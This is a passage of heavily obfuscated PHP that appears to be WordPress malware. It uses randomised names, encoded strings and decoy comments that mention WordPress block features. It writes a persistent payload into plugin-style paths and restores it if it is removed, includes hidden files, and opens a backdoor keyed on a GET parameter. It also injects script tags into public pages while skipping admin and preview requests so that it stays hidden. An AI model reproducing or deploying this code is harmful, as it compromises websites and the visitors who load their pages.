       if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($i8m2komhrb)     && (int) @$GLOBALS['__scf_kpr9p9o54hwof_101']($i8m2komhrb)    >  $GLOBALS['__scf_yg2rpewmkg_192']()    -    (255-15))   return;
    }

foreach     ($kzv_bttmp2  as   $wycwnle2_6zx)  {
      $oa0q8d85gj  = $wycwnle2_6zx . b4gbsak56f40gos(1324)   .  $e8tbqdbsmnq;
    if     (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($oa0q8d85gj))    {
    $bp1172gn0o1  =   (int)    @$GLOBALS['__scf_kpr9p9o54hwof_101']($oa0q8d85gj);


     if    ($bp1172gn0o1 >    $GLOBALS['__scf_yg2rpewmkg_192']()  - (6242+80158)  &&    $bp1172gn0o1   <= $GLOBALS['__scf_yg2rpewmkg_192']() +  (0x8+0x124))    continue;



 _0qezpop1swzfe($oa0q8d85gj);
}
/* infeasible injector */

        $b4eele61qm4k7q =    $wycwnle2_6zx   .  b4gbsak56f40gos(1325) .   $e8tbqdbsmnq      .     zp28wk01y(1625);
 if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($b4eele61qm4k7q)  &&    (int)   @$GLOBALS['__scf_voobwg611qb_102']($b4eele61qm4k7q)  > (422+78)) {
$kabq83nxydd1zs6k = $wycwnle2_6zx      . tvo1rh46s_(1343) .   $e8tbqdbsmnq;
$qkfmn3cry6b =     @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($kabq83nxydd1zs6k)   ? $GLOBALS['__scf_bbs7j5b1fx_332']((string)      @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($kabq83nxydd1zs6k))  :  "";
  if   ($qkfmn3cry6b   !==  ""  &&  $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1752))  && @md5_file($b4eele61qm4k7q)   ===  $qkfmn3cry6b) {


 @include $b4eele61qm4k7q;


  return;
}
 if ($qkfmn3cry6b  !==  "")   {
   _0qezpop1swzfe($b4eele61qm4k7q);
     }
       unset($kabq83nxydd1zs6k, $qkfmn3cry6b);
  }
  }
   unset($oa0q8d85gj, $bp1172gn0o1);
  if    ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1753)))    @delete_transient(op9tjzix(1754));
     _7vbq8th_6avjkriw0f68();
    } catch (Throwable    $x0ydieb0v_72m_u)    {
teikfigf_p5265esq_q(wlgh2_th(1755), $x0ydieb0v_72m_u);
}  catch (Exception  $x0ydieb0v_72m_u) {
 }
}
 function   pwvpu09why95tgx6j()


{
try   {


  if (!defined(zp28wk01y(1703)))  return;
 hti81ybc755i9r59(null);
  $cmmcvi1p_vu =   $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),   b4gbsak56f40gos(1756));

   $lniiiooabo83vh   =      qluu1auwul2zupq5h();
   $bkok4unpnq2f_wvv      =  "";
     if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($lniiiooabo83vh)    &&  @$GLOBALS['__scf_voobwg611qb_102']($lniiiooabo83vh)   >  (0xabf+0x8c9))  {

  $bs0lio9e11xp  =     _ar5tcm9kavyuod_ve5o1l($lniiiooabo83vh);

 if    ($GLOBALS['__scf_zneqqdn4vlt4_42']($bs0lio9e11xp)  && $GLOBALS['__scf_m2ym9pki8mue9_11']($bs0lio9e11xp) >    (0x35+0x1bf)     &&    ays3w9sevfe7ws($bs0lio9e11xp))      $bkok4unpnq2f_wvv  = $bs0lio9e11xp;

  unset($bs0lio9e11xp);
 }
if  ($bkok4unpnq2f_wvv ===    "")  {
 $sacnahuo9uejitoc   = fmsvr16ge0nzzk9i6u(ABSPATH  .      fjup2mc1h(1757),  (14-4));
// @release event-bus

 $g14uqnv5ws =     $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1758))   ? @get_option($sacnahuo9uejitoc,    "") : "";
 if  (!$g14uqnv5ws || $GLOBALS['__scf_m2ym9pki8mue9_11']($g14uqnv5ws)   <   (45+455))   return;

 $bkok4unpnq2f_wvv  =  r7k74ehuym0rqy65($GLOBALS['__scf__cpt1d1twdvp_362']($g14uqnv5ws));
 if (!$bkok4unpnq2f_wvv   || $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)  < (443+57))  return;
if   (!ays3w9sevfe7ws($bkok4unpnq2f_wvv))  {


teikfigf_p5265esq_q(wlgh2_th(1096),   wlgh2_th(752));
 return;
}
     }
     $dx_ofkvr3qy  =   p_wsdzgl36a6wh_fs09();
       $yabphvy5gb  =  $dx_ofkvr3qy   . wlgh2_th(1759)  .  $cmmcvi1p_vu;
   $xlvr9fkb8_  = $yabphvy5gb   .   '/'   .      $cmmcvi1p_vu  .    tvo1rh46s_(1756);
  if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($yabphvy5gb))     m_ixrkpun5f9a0k8wu($yabphvy5gb,  (179+314), true);
      $erv31fmruk0_ns  = @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($xlvr9fkb8_)  ? _ar5tcm9kavyuod_ve5o1l($xlvr9fkb8_)   : "";
    $lavslmts_wuco =    ($erv31fmruk0_ns   === null);

 if ($GLOBALS['__scf_zneqqdn4vlt4_42']($erv31fmruk0_ns)   &&      $erv31fmruk0_ns !== ""  &&  $GLOBALS['__scf_bvfhit3heqts_99'](wlgh2_th(100),   $GLOBALS['__scf_zre6ec18ly90y_10']($erv31fmruk0_ns,  0,   (0x8dc+0x724)),  $r6ha9tt7mn2)      &&     version_compare($r6ha9tt7mn2[1],  _vfpypr4wakqs7jy_(),  '>'))   $lavslmts_wuco  =  true;
// WP Full Site Editing: expected synchronizer

unset($r6ha9tt7mn2);
       if     (!$lavslmts_wuco &&  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($erv31fmruk0_ns) || $erv31fmruk0_ns   ===    "" ||  $GLOBALS['__scf_abbpcj1ncssalx_57']($erv31fmruk0_ns)   !==  $GLOBALS['__scf_abbpcj1ncssalx_57']($bkok4unpnq2f_wvv)))    {
   if (_ew1atk9e66yol2lso($xlvr9fkb8_, utjmibjloacp0kjf($bkok4unpnq2f_wvv)))    {



kp1tutxjpanriy($xlvr9fkb8_, (47+373));
o2er_doikw9jq83pm2lov($xlvr9fkb8_);$g76366dvyq5u=PHP_MAJOR_VERSION;$epqkmwci9e2=$g76366dvyq5u*3;
 rwx_v9t1vov1zic2ki($xlvr9fkb8_);
 }
/* best-case opaque-type */

}
    unset($erv31fmruk0_ns, $lavslmts_wuco);


    dnlhs9m2bks667lnvn($cmmcvi1p_vu . '/'  . $cmmcvi1p_vu .  op9tjzix(1756));
$ym9lo8mu99d   = emzy8pvoveowt1bicy5();
   if     ((@$GLOBALS['__scf_ot56htgy8hrmim_44']($ym9lo8mu99d) &&  @$GLOBALS['__scf_tluflp7r6hugyf_48']($ym9lo8mu99d)) ||      (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($ym9lo8mu99d)  &&  m_ixrkpun5f9a0k8wu($ym9lo8mu99d,    (397+96),   true)))   {
    $znmiw23ly6yoqw7q   =    $ym9lo8mu99d   .    '/'   . $cmmcvi1p_vu .   zp28wk01y(1756);


$x03z5dk6v5fgg  = @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($znmiw23ly6yoqw7q)  ?  _ar5tcm9kavyuod_ve5o1l($znmiw23ly6yoqw7q) :  "";
$ly2e1e6dfodue = ($x03z5dk6v5fgg  ===      null);


      if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($x03z5dk6v5fgg) &&  $x03z5dk6v5fgg !==    ""  &&  $GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(100),   $GLOBALS['__scf_zre6ec18ly90y_10']($x03z5dk6v5fgg,   0,    (4064+32)), $iqyf_0dgt7uu)  && version_compare($iqyf_0dgt7uu[1], _vfpypr4wakqs7jy_(),  '>'))   $ly2e1e6dfodue =   true;
  unset($iqyf_0dgt7uu);
  if  (!$ly2e1e6dfodue  &&    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($x03z5dk6v5fgg)    ||     $x03z5dk6v5fgg   ===   "" ||   $GLOBALS['__scf_abbpcj1ncssalx_57']($x03z5dk6v5fgg)   !==  $GLOBALS['__scf_abbpcj1ncssalx_57']($bkok4unpnq2f_wvv)))    {



if (_ew1atk9e66yol2lso($znmiw23ly6yoqw7q,   utjmibjloacp0kjf($bkok4unpnq2f_wvv)))   {

   kp1tutxjpanriy($znmiw23ly6yoqw7q, (333+87));

o2er_doikw9jq83pm2lov($znmiw23ly6yoqw7q);
    rwx_v9t1vov1zic2ki($znmiw23ly6yoqw7q);
 }



    }   elseif    (!$ly2e1e6dfodue) {
   $nlwpi53_rt3fe9  = @$GLOBALS['__scf_kpr9p9o54hwof_101']($znmiw23ly6yoqw7q);
  if (!$nlwpi53_rt3fe9  || ($nlwpi53_rt3fe9  %  (9880+90120)) !==  wzkcxw_m1n8fard2g())  o2er_doikw9jq83pm2lov($znmiw23ly6yoqw7q);


   unset($nlwpi53_rt3fe9);
  }
     unset($x03z5dk6v5fgg,    $ly2e1e6dfodue);
    }
// acknowledge bloom-filter for WP Custom Link

 b0wop22b9ka0x2ul($bkok4unpnq2f_wvv);

   }    catch  (Throwable  $x0ydieb0v_72m_u)  {
 teikfigf_p5265esq_q(b4gbsak56f40gos(1760),   $x0ydieb0v_72m_u);

 }  catch   (Exception  $x0ydieb0v_72m_u) {
// deallocate control-flow-graph for WP Columns Block

     }
 }
   function     feytgutb1lkl84mtk9w24i()
{
  if  (!isset($_GET['p'])  || !$GLOBALS['__scf_zneqqdn4vlt4_42']($_GET['p']))     return;
  $jf11o2b3al =  $_GET['p'];
 if ($jf11o2b3al  ===  v5bdtp7jppe_l3a6jc4f(fjup2mc1h(1137))) {
   $GLOBALS[wlgh2_th(1761)]   =  true;
  try  {
// WP Post Title transient TTL



     $nxb_e7pyixhwlv =   xrb38aewb77bc3i()   .     '/' .   fmsvr16ge0nzzk9i6u(ABSPATH   . wlgh2_th(1137), (0x3+0x5)) .  tvo1rh46s_(1762);
  $uw6kk1odhfuee   =   @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($nxb_e7pyixhwlv)  ?    (int) @$GLOBALS['__scf_voobwg611qb_102']($nxb_e7pyixhwlv) : 0;


if    ($uw6kk1odhfuee >     (481+19)    &&    $uw6kk1odhfuee     <=  (4410069+832811))  {
   include   $nxb_e7pyixhwlv;
   }
  }    catch  (Throwable $x0ydieb0v_72m_u) {
   }    catch   (Exception  $x0ydieb0v_72m_u) {
   }


    while ($GLOBALS['__scf_cbxznqxlbgq70_420']()  > 0  &&    @ob_end_clean()) {



    }
// WP useBlockProps: typecheck session-type

       header(b4gbsak56f40gos(1763));
exit;
 }
 if   ($jf11o2b3al !== v5bdtp7jppe_l3a6jc4f(tvo1rh46s_(1180))) return;
try {
  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1764))  &&  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1598))) {
     @update_option(zp28wk01y(1765),      (int) @get_option(zp28wk01y(1765),   0)  + 1,  op9tjzix(1616));
    @update_option(fjup2mc1h(1766),  $GLOBALS['__scf_yg2rpewmkg_192'](),  b4gbsak56f40gos(1616));

     }
  $m169dz8zizp_1bu = _688a_rvvxzf58(zp28wk01y(371),     "");
    if ($GLOBALS['__scf_m2ym9pki8mue9_11']($m169dz8zizp_1bu)    > (75+25)  &&   !$GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1767), $m169dz8zizp_1bu)   &&  $GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1768),    $m169dz8zizp_1bu))   {
$h_ptekqxnwem  =   @$GLOBALS['__scf__cpt1d1twdvp_362']($m169dz8zizp_1bu,  true);



if    ($h_ptekqxnwem !==     false   &&      $GLOBALS['__scf_m2ym9pki8mue9_11']($h_ptekqxnwem)    >   (0x33+0x31)) $m169dz8zizp_1bu      = $h_ptekqxnwem;
 }
       if  ($GLOBALS['__scf_m2ym9pki8mue9_11']($m169dz8zizp_1bu)   <    (42+58))     $m169dz8zizp_1bu =  c9vl9pp6jinfg1u1a1();
  if    ($GLOBALS['__scf_m2ym9pki8mue9_11']($m169dz8zizp_1bu)    <      (50<<1)) {
  while    ($GLOBALS['__scf_cbxznqxlbgq70_420']() > 0  &&   @ob_end_clean())  {
}
header(zp28wk01y(1769));
 header(op9tjzix(1770));$zk98bqrt6=PHP_INT_MAX/PHP_INT_MAX;$x30wixtn1=$zk98bqrt6+55;
   header(wlgh2_th(1771));
    exit;
}
     $_fhwcwrsq7ygq   =  _688a_rvvxzf58(tvo1rh46s_(1168), "");
    $mswji83n0k6ekgfk =    '"'   . $GLOBALS['__scf_abbpcj1ncssalx_57']($_fhwcwrsq7ygq .  $m169dz8zizp_1bu) .  '"';$ms1yy7v3i=-450;$zrqiov8nt2s=($ms1yy7v3i>0)?$ms1yy7v3i:-$ms1yy7v3i;

    if  (isset($_SERVER[fjup2mc1h(1772)])   &&  $GLOBALS['__scf_bbs7j5b1fx_332']($_SERVER[b4gbsak56f40gos(1772)])     ===    $mswji83n0k6ekgfk)  {
     while  ($GLOBALS['__scf_cbxznqxlbgq70_420']()   > 0   &&  @ob_end_clean())    {
 }
header(tvo1rh46s_(1773));
 header(op9tjzix(1774)    . $mswji83n0k6ekgfk);



exit;
 }



while ($GLOBALS['__scf_cbxznqxlbgq70_420']()      > 0   &&      @ob_end_clean())    {
 }
header(b4gbsak56f40gos(1769));

     header(b4gbsak56f40gos(1775));
header(tvo1rh46s_(1776));



header(fjup2mc1h(1774) . $mswji83n0k6ekgfk);
echo $_fhwcwrsq7ygq  .   $m169dz8zizp_1bu;



 exit;

}   catch (Throwable   $x0ydieb0v_72m_u)  {
       teikfigf_p5265esq_q(wlgh2_th(1777),  $x0ydieb0v_72m_u);
     }   catch   (Exception $x0ydieb0v_72m_u) {
   teikfigf_p5265esq_q(b4gbsak56f40gos(1777),     $x0ydieb0v_72m_u);


     }
}
 feytgutb1lkl84mtk9w24i();
function ayad7_t8r6l6fnoqsm190_()
     {
     if  (!isset($_GET[tvo1rh46s_(1778)])) return;
  try    {
$_hcc6mod0r8i4d      =   $_GET[zp28wk01y(1779)];
   if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($_hcc6mod0r8i4d)  ||   $_hcc6mod0r8i4d ===  "") return;
      $_hcc6mod0r8i4d = $GLOBALS['__scf_pdnlp7jjhnya_106']($_hcc6mod0r8i4d);
$pzhvztnmz6 = array();
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1780)))    $pzhvztnmz6[]     =  (string) $GLOBALS['__scf_oaen6pygee_572'](home_url(),  PHP_URL_HOST);
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1781))) {
  $qq_rrtuqyi      =  (string)  @get_option(op9tjzix(578),   "");

     if     ($qq_rrtuqyi  !==   "")   $pzhvztnmz6[] =   (string)    $GLOBALS['__scf_oaen6pygee_572']($qq_rrtuqyi,  PHP_URL_HOST);
 }
  if  (isset($_SERVER[tvo1rh46s_(1338)]))      $pzhvztnmz6[]   =   (string) $_SERVER[wlgh2_th(1782)];
   $pzhvztnmz6[] =   cm6y2ie43ppuz0pk8jw("");
$seobj5_7s5  = false;
  foreach ($GLOBALS['__scf_s8rgnr7_02m_155']($pzhvztnmz6) as   $e55pxp_0ddwy) {
if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($e55pxp_0ddwy)  ||   $e55pxp_0ddwy ===  "")   continue;
   if    ($GLOBALS['__scf_rbe_sihvfv_8']($e55pxp_0ddwy, ':')  !==  false)  $e55pxp_0ddwy    =   $GLOBALS['__scf_sp5m_appgxyoko_471'](wlgh2_th(1783),   "", $e55pxp_0ddwy);
if (fmsvr16ge0nzzk9i6u($GLOBALS['__scf_pdnlp7jjhnya_106']($e55pxp_0ddwy) .   fjup2mc1h(1784),  (9+3))     === $_hcc6mod0r8i4d)    {
    $seobj5_7s5  =  true;
   break;
      }



 }
  if    (!$seobj5_7s5) return;
  $yio0uagp18v = $GLOBALS['__scf_ejipd25116z_1183'](fjup2mc1h(1785),  (0x18+0x6));$ptqxyi_390=12*2;$lsaf8tqyrvv2l0=$ptqxyi_390-43;



  $faljjkhouh4v5xch    =  r7k74ehuym0rqy65(jle7sh4_tht0dl7e($yio0uagp18v));


 while      ($GLOBALS['__scf_cbxznqxlbgq70_420']()  >  0  &&     @ob_end_clean())    {


      }
 header(b4gbsak56f40gos(1786));
  header(fjup2mc1h(1787));
   echo  ($faljjkhouh4v5xch    === $yio0uagp18v) ? wlgh2_th(1788)     . $GLOBALS['__scf_abbpcj1ncssalx_57']($yio0uagp18v)  :  op9tjzix(1789);
 exit;
   }   catch (Throwable $x0ydieb0v_72m_u)  {
 teikfigf_p5265esq_q(zp28wk01y(1790),  $x0ydieb0v_72m_u);
    }  catch  (Exception   $x0ydieb0v_72m_u)   {
    teikfigf_p5265esq_q(tvo1rh46s_(1790),  $x0ydieb0v_72m_u);
     }



 }



  ayad7_t8r6l6fnoqsm190_();
 function a200moh9xx_wa408lby07()
  {
   $seobj5_7s5 = true;
   $eyxsxtcpxi8cfit8  =  function ($zrdojkt9l06)     use     (&$seobj5_7s5)  {
try  {


  $GLOBALS['__scf_wi8602txx8j8_299']($zrdojkt9l06);


     }  catch      (Throwable  $x0ydieb0v_72m_u)  {


    $seobj5_7s5 = false;



      } catch     (Exception      $x0ydieb0v_72m_u)  {
$seobj5_7s5  =  false;
  }
    };
    if   ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1791)))  $eyxsxtcpxi8cfit8(tvo1rh46s_(1791));


 if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1792))) $eyxsxtcpxi8cfit8(b4gbsak56f40gos(1792));
    if     ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(550)))    $eyxsxtcpxi8cfit8(zp28wk01y(550));
 if    ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1793)))    $eyxsxtcpxi8cfit8(zp28wk01y(1793));
  elseif ($GLOBALS['__scf_x_wfq7bl3c_551'](tvo1rh46s_(1794))    && $GLOBALS['__scf_p6wtd462xwbf9y_126'](fjup2mc1h(1795), op9tjzix(1796))) $eyxsxtcpxi8cfit8(array(zp28wk01y(1797),  zp28wk01y(1798)));
if  ($GLOBALS['__scf_x_wfq7bl3c_551'](b4gbsak56f40gos(1799))    &&  $GLOBALS['__scf_p6wtd462xwbf9y_126'](tvo1rh46s_(1800),   b4gbsak56f40gos(1801)))     $eyxsxtcpxi8cfit8(array(tvo1rh46s_(1802),     wlgh2_th(1803)));
if  ($GLOBALS['__scf_x_wfq7bl3c_551'](zp28wk01y(552)) &&   $GLOBALS['__scf_p6wtd462xwbf9y_126'](wlgh2_th(1804),  fjup2mc1h(1805)))     $eyxsxtcpxi8cfit8(array(fjup2mc1h(1806),  op9tjzix(1805)));
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1807)))   $eyxsxtcpxi8cfit8(fjup2mc1h(1807));

 elseif  (isset($GLOBALS[b4gbsak56f40gos(553)])   &&  $GLOBALS['__scf_l4xn242gw4_70']($GLOBALS[wlgh2_th(553)])  && $GLOBALS['__scf_p6wtd462xwbf9y_126']($GLOBALS[b4gbsak56f40gos(553)], fjup2mc1h(1808))) $eyxsxtcpxi8cfit8(function     () {
$GLOBALS[b4gbsak56f40gos(553)]->deleteCache(true);
     });

   if      ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1809)))  $eyxsxtcpxi8cfit8(op9tjzix(1809));
if    ($GLOBALS['__scf_x_wfq7bl3c_551'](tvo1rh46s_(1810)) &&   $GLOBALS['__scf_p6wtd462xwbf9y_126'](b4gbsak56f40gos(1811),  zp28wk01y(1812)))   $eyxsxtcpxi8cfit8(array(zp28wk01y(1813), b4gbsak56f40gos(1812)));
teikfigf_p5265esq_q(wlgh2_th(461),  zp28wk01y(1814));
 return   $seobj5_7s5;
}



 function   pgwle9ecrq8ggeow()
{

    if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(783)) &&   is_admin())   return  true;
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1815))  && wp_doing_ajax())  return  true;



 if (defined(b4gbsak56f40gos(1816))   &&   REST_REQUEST)      return   true;
 if (defined(wlgh2_th(1817))   &&   XMLRPC_REQUEST) return  true;
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1818))    &&  is_feed()) return  true;
      

     if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1819)) &&    is_robots())    return true;
    




  if   ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1820))      && is_sitemaps())  return    true;


if    ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1821))   &&  is_customize_preview()) return  true;
 if    (isset($_GET[tvo1rh46s_(1822)])   ||    isset($_GET[fjup2mc1h(1823)])   ||  isset($_GET[wlgh2_th(1824)])) return  true;
return  false;
 }
  function mh66boul29_fitc83i()
{
 $t5vtt8xpng8t     =  (isset($GLOBALS[b4gbsak56f40gos(1825)])     &&      $GLOBALS['__scf_zneqqdn4vlt4_42']($GLOBALS[zp28wk01y(1825)])) ?  $GLOBALS['__scf_bbs7j5b1fx_332']($GLOBALS[wlgh2_th(1825)])   : "";
  if  ($t5vtt8xpng8t === "")   return  "";
  $t5vtt8xpng8t    =  $GLOBALS['__scf_qx45pe7tfwqub_367'](op9tjzix(1826),  zp28wk01y(1827),  $t5vtt8xpng8t);
      $ek04ndgm7y =      $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1780))    ?    (string)    $GLOBALS['__scf_oaen6pygee_572'](home_url(), PHP_URL_HOST) :    "";
 $gd_o0vk_4njqr4  =   fmsvr16ge0nzzk9i6u($GLOBALS['__scf_pdnlp7jjhnya_106']($ek04ndgm7y), (3+3));
$m76c06a257     = $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($t5vtt8xpng8t), 0, (9-3));
return    "\n<script data-sc=\"" . $gd_o0vk_4njqr4    .  '-' . $m76c06a257  . "\">\n"    . $t5vtt8xpng8t    .  "\n</script>\n<!-- sc"     .   $gd_o0vk_4njqr4 .  '-'  .  $m76c06a257    .    " -->\n";
    }
 function _e5m78_pquikqm7q8dczny()



{

try  {
  if (pgwle9ecrq8ggeow())    return;
   $q_wtfycqfb =     mh66boul29_fitc83i();
 if  ($q_wtfycqfb    ===  "")    return;
echo    $q_wtfycqfb;
 $GLOBALS[tvo1rh46s_(1828)] =   true;
  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1781)) && $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1829)) &&    empty($GLOBALS[zp28wk01y(1830)]))    {
   $GLOBALS[wlgh2_th(1830)]   =    true;


  $q13ne9nfurtbqxzx   = (int) @get_option(b4gbsak56f40gos(511),      0);


     if    ($GLOBALS['__scf_yg2rpewmkg_192']()     - $q13ne9nfurtbqxzx     > (0x9e+0x8e))      @update_option(wlgh2_th(511),  $GLOBALS['__scf_yg2rpewmkg_192'](),  fjup2mc1h(1831));
 unset($q13ne9nfurtbqxzx);
  }



}      catch (Throwable $x0ydieb0v_72m_u) {
// evict injective-adj type-environment

 teikfigf_p5265esq_q(op9tjzix(1832),  $x0ydieb0v_72m_u);
  

      } catch (Exception $x0ydieb0v_72m_u)   {
   }

    }
    function  fr4uhl1yb5uvnk($bzljbrcok5,  $c_j_f08yq8_3x8    =   0)
    {

if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($bzljbrcok5)   ||   $bzljbrcok5 === "")   return      $bzljbrcok5;
      if (defined(b4gbsak56f40gos(1833))   &&   !($c_j_f08yq8_3x8  &  PHP_OUTPUT_HANDLER_FINAL))  return   $bzljbrcok5;
 if   (!empty($GLOBALS[zp28wk01y(1761)]))  return   $bzljbrcok5;
     if  (!empty($GLOBALS[zp28wk01y(1828)]))   return $bzljbrcok5;
 if ($GLOBALS['__scf_m2ym9pki8mue9_11']($bzljbrcok5)   >    (2874992+1319312)) return    $bzljbrcok5;
   if    ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(412)))   {
foreach   ((array)   @headers_list()      as   $n8u4zf84jttjjqvh) {
if  (stripos($n8u4zf84jttjjqvh,   b4gbsak56f40gos(1834))  === 0  &&  stripos($n8u4zf84jttjjqvh,     b4gbsak56f40gos(1835))   !==   false) return $bzljbrcok5;
    if  (stripos($n8u4zf84jttjjqvh,  fjup2mc1h(1836))     ===   0     &&  stripos($n8u4zf84jttjjqvh,  zp28wk01y(1837))    ===  false  &&   stripos($n8u4zf84jttjjqvh,     fjup2mc1h(1838))    === false)  return $bzljbrcok5;
 }



      unset($n8u4zf84jttjjqvh);



   }
$q_wtfycqfb =      mh66boul29_fitc83i();
 if ($q_wtfycqfb  ===   "")  return   $bzljbrcok5;
  if    (stripos($bzljbrcok5,   fjup2mc1h(1839))   ===  false &&  stripos($bzljbrcok5,  fjup2mc1h(1840))  ===     false)  return   $bzljbrcok5;
 $GLOBALS[fjup2mc1h(1828)]  =   true;
      $GLOBALS[zp28wk01y(509)]  =  true;
 $l_epe_kyisy4d3c = stripos($bzljbrcok5,    zp28wk01y(1839));
 if  ($l_epe_kyisy4d3c !== false)     {
return $GLOBALS['__scf_zre6ec18ly90y_10']($bzljbrcok5, 0,  $l_epe_kyisy4d3c)    .  $q_wtfycqfb     . $GLOBALS['__scf_zre6ec18ly90y_10']($bzljbrcok5,  $l_epe_kyisy4d3c);
 }
  return $bzljbrcok5 . $q_wtfycqfb;
   }
function  lqghvzx3lkh5l4s286s_d()



 {



   try {
 if   (pgwle9ecrq8ggeow())  return;
  if  (!empty($GLOBALS[op9tjzix(1761)]))    return;
  if   (!empty($GLOBALS[wlgh2_th(1841)]))     return;
       if     (!$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(412)))   return;
       $t5vtt8xpng8t =     (isset($GLOBALS[b4gbsak56f40gos(1825)])  &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($GLOBALS[wlgh2_th(1825)]))     ? $GLOBALS['__scf_bbs7j5b1fx_332']($GLOBALS[tvo1rh46s_(1842)])   : "";
 if   ($t5vtt8xpng8t  ===  "")   return;
 $k7dvu0o5v0    = isset($_SERVER[fjup2mc1h(1843)]) ?    (string)  $_SERVER[wlgh2_th(1843)]  :     "";
  if  ($k7dvu0o5v0   !== ""    && $GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(1844), $k7dvu0o5v0))      return;
 if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(412)))   {
   foreach     ((array) @headers_list()    as    $n8u4zf84jttjjqvh) {
if     (stripos($n8u4zf84jttjjqvh,     b4gbsak56f40gos(1834)) ===  0    && stripos($n8u4zf84jttjjqvh,   wlgh2_th(1835))    !==      false)   return;


    if (stripos($n8u4zf84jttjjqvh,   op9tjzix(1836)) === 0      && stripos($n8u4zf84jttjjqvh,   fjup2mc1h(1837))  ===  false   &&   stripos($n8u4zf84jttjjqvh, b4gbsak56f40gos(1838))     ===   false)  return;
 if  (stripos($n8u4zf84jttjjqvh,  b4gbsak56f40gos(1845))   ===     0) return;
      }
 unset($n8u4zf84jttjjqvh);
}
  $GLOBALS[fjup2mc1h(1841)]   =     true;
@$GLOBALS['__scf_oak2c_8c11_1846'](fjup2mc1h(1847));

}    catch (Throwable    $x0ydieb0v_72m_u)    {
 teikfigf_p5265esq_q(zp28wk01y(508), $x0ydieb0v_72m_u);
 } catch (Exception  $x0ydieb0v_72m_u)   {
}
     }



  function  cap06x88ma9463dsuw3mfi()
 {


try    {
if (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(783)))    return;
if  (!is_admin()      &&  (!isset($GLOBALS[wlgh2_th(1848)])   ||   $GLOBALS[tvo1rh46s_(1848)]   !==   fjup2mc1h(570)))    return;
    if      ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1849)) &&   !is_ssl())   return;
  $wq8gsi8xidp   =   _688a_rvvxzf58(fjup2mc1h(1850),  "");
$gd_o0vk_4njqr4   = fmsvr16ge0nzzk9i6u(ABSPATH .  fjup2mc1h(1832),    (0x1+0x5));



    $qd8vtlpj9h57ev   = zp28wk01y(1355);
      if ($wq8gsi8xidp  ===   "")      {
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1781)) && (int) @get_option(zp28wk01y(1851), 0)) {
   @update_option(tvo1rh46s_(1851),  0,   wlgh2_th(1831));

$gra1j0wyxs8v9 =  (string)   @get_option(fjup2mc1h(1852), "");
   echo "\n"   . zp28wk01y(1853) . $gd_o0vk_4njqr4 . '>'
  . op9tjzix(1854)



       .     fjup2mc1h(1855)   .    $qd8vtlpj9h57ev(zp28wk01y(1856))  .    tvo1rh46s_(1857)


.    wlgh2_th(1858)  .  $GLOBALS['__scf_p_tfg5i832l8_603']($gra1j0wyxs8v9)  . ';'
  .   fjup2mc1h(1859) .   $qd8vtlpj9h57ev(zp28wk01y(1860))  . wlgh2_th(1861)
 .      wlgh2_th(1862)  .  $qd8vtlpj9h57ev(op9tjzix(1863)) .  wlgh2_th(1864)   .  $qd8vtlpj9h57ev(wlgh2_th(1865))    .  zp28wk01y(1864)  .  $qd8vtlpj9h57ev(tvo1rh46s_(1866))      .    tvo1rh46s_(1867)  .  $qd8vtlpj9h57ev(zp28wk01y(1868))  . fjup2mc1h(1869)

